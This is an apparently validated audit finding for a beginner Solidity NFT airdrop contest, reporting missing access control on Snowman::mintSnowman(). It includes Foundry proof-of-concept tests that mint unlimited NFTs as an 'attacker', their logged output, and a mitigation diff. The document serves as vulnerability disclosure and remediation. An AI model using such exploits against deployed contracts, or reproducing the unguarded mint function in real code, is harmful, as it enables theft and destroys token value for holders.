Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control on Snowman::mintSnowman() Allows Anyone to Mint Unlimited NFTs

Missing Access Control on Snowman::mintSnowman() Allows Anyone to Mint Unlimited NFTs for Free

Description

  • The Snowman::mintSnowman() function is intended to be called exclusively by the SnowmanAirdrop contract as the final step of the airdrop flow — after a user has submitted a valid Merkle proof, a valid EIP-712 signature, and transferred their Snow tokens. This gated flow ensures that Snowman NFTs are only distributed to eligible participants who have staked Snow tokens, preserving the protocol's tokenomics and the scarcity of the NFT collection.

  • The mintSnowman() function is declared external with no access control modifier, no require check, and no caller validation of any kind. Any externally owned account (EOA) or contract on the network can call it directly, bypassing the SnowmanAirdrop contract entirely. An attacker with zero Snow tokens, no Merkle proof, and no signature can mint an unlimited number of Snowman NFTs to any address in a single transaction at the cost of gas alone.

// src/Snowman.sol
// @> No access control modifier — any address can call this function
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
// @> _safeMint executes unconditionally with no caller check
_safeMint(receiver, s_tokenCounter);
emit SnowmanMinted(receiver, s_tokenCounter);
s_tokenCounter++;
}
}

Risk

Likelihood: Critical

  • The function is external with zero preconditions — no token balance, no whitelist, no role check is required. Any wallet can call it from block one of deployment.

  • The attack requires only a single transaction and a few dollars of gas, making it trivially executable by any actor at any time throughout the contract's lifetime.

Impact:

  • An attacker mints millions of Snowman NFTs for free, inflating total supply to an arbitrary number and permanently destroying the scarcity that gives the NFTs their value.

  • The entire staking and airdrop mechanism is rendered economically worthless — legitimate users who earned Snow tokens over the 12-week farming period receive NFTs with zero market value.

  • The sequential s_tokenCounter cannot be rolled back; over-minting is irreversible on-chain, making recovery impossible without a full contract redeployment.

  • The attacker can also mint directly to arbitrary victim addresses, polluting wallets with unsolicited NFTs.

Proof of Concept

Place the following test in test/SnowmanAccessControl.t.sol and run with forge test --match-contract SnowmanAccessControlTest -vv:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {Snow} from "../src/Snow.sol";
contract SnowmanAccessControlTest is Test {
Snowman public snowman;
Snow public snow;
string constant SVG = "<svg></svg>";
function setUp() public {
snow = new Snow(address(this), address(this));
snowman = new Snowman(SVG);
}
// Proof 1: A wallet with no Snow tokens can mint unlimited NFTs
function test_AnyoneCanMintUnlimitedNFTs() public {
address attacker = makeAddr("attacker");
// Confirm attacker holds no Snow tokens and no NFTs
assertEq(snow.balanceOf(attacker), 0, "Attacker starts with 0 SNOW");
assertEq(snowman.balanceOf(attacker), 0, "Attacker starts with 0 NFTs");
// Attacker calls mintSnowman() directly — no Merkle proof, no signature, no tokens
vm.prank(attacker);
snowman.mintSnowman(attacker, 1_000_000);
// Attacker now owns 1,000,000 Snowman NFTs for free
assertEq(snowman.balanceOf(attacker), 1_000_000);
console.log("Attacker NFT balance :", snowman.balanceOf(attacker));
console.log("Total supply inflated :", snowman.s_tokenCounter());
}
// Proof 2: Attacker can mint directly into any arbitrary address
function test_AttackerCanMintToArbitraryVictim() public {
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
vm.prank(attacker);
snowman.mintSnowman(victim, 500); // mint into victim wallet without consent
assertEq(snowman.balanceOf(victim), 500);
console.log("Victim wallet polluted with unsolicited NFTs:", snowman.balanceOf(victim));
}
// Proof 3: Legitimate stakers receive worthless NFTs after supply inflation
function test_ProtocolIntegrityDestroyed() public {
address attacker = makeAddr("attacker");
address legitimateUser = makeAddr("legitimateUser");
// Attacker inflates supply before any legitimate claim
vm.prank(attacker);
snowman.mintSnowman(attacker, 10_000_000);
console.log("Supply after attack :", snowman.s_tokenCounter());
// Legitimate user later claims — their NFT is one of ten million, not one of a small set
vm.prank(legitimateUser);
snowman.mintSnowman(legitimateUser, 1);
assertEq(snowman.balanceOf(legitimateUser), 1);
console.log("Legitimate user token ID:", snowman.s_tokenCounter() - 1);
}
}

Expected output:

[PASS] test_AnyoneCanMintUnlimitedNFTs()
Attacker NFT balance : 1000000
Total supply inflated : 1000000
[PASS] test_AttackerCanMintToArbitraryVictim()
Victim wallet polluted with unsolicited NFTs: 500
[PASS] test_ProtocolIntegrityDestroyed()
Supply after attack : 10000000
Legitimate user token ID: 10000001

Recommended Mitigation

Introduce a dedicated s_minter state variable set to the SnowmanAirdrop contract address at deployment, a custom error, and an onlyMinter modifier applied to mintSnowman().

// src/Snowman.sol
+ error Snowman__NotMinter();
contract Snowman is ERC721 {
+ address private s_minter;
- constructor(string memory svgUri) ERC721("Snowman", "SNOWMAN") {
+ constructor(string memory svgUri, address minter) ERC721("Snowman", "SNOWMAN") {
s_svgUri = svgUri;
+ s_minter = minter;
}
+ modifier onlyMinter() {
+ if (msg.sender != s_minter) revert Snowman__NotMinter();
+ _;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyMinter {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_tokenCounter);
emit SnowmanMinted(receiver, s_tokenCounter);
s_tokenCounter++;
}
}
}

Update the deployment script to pass the SnowmanAirdrop address into the Snowman constructor:

// script/Deploy.s.sol
- Snowman snowman = new Snowman(svgUri);
SnowmanAirdrop airdrop = new SnowmanAirdrop(address(snowman), merkleRoot, address(snow));
+ Snowman snowman = new Snowman(svgUri, address(airdrop));
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!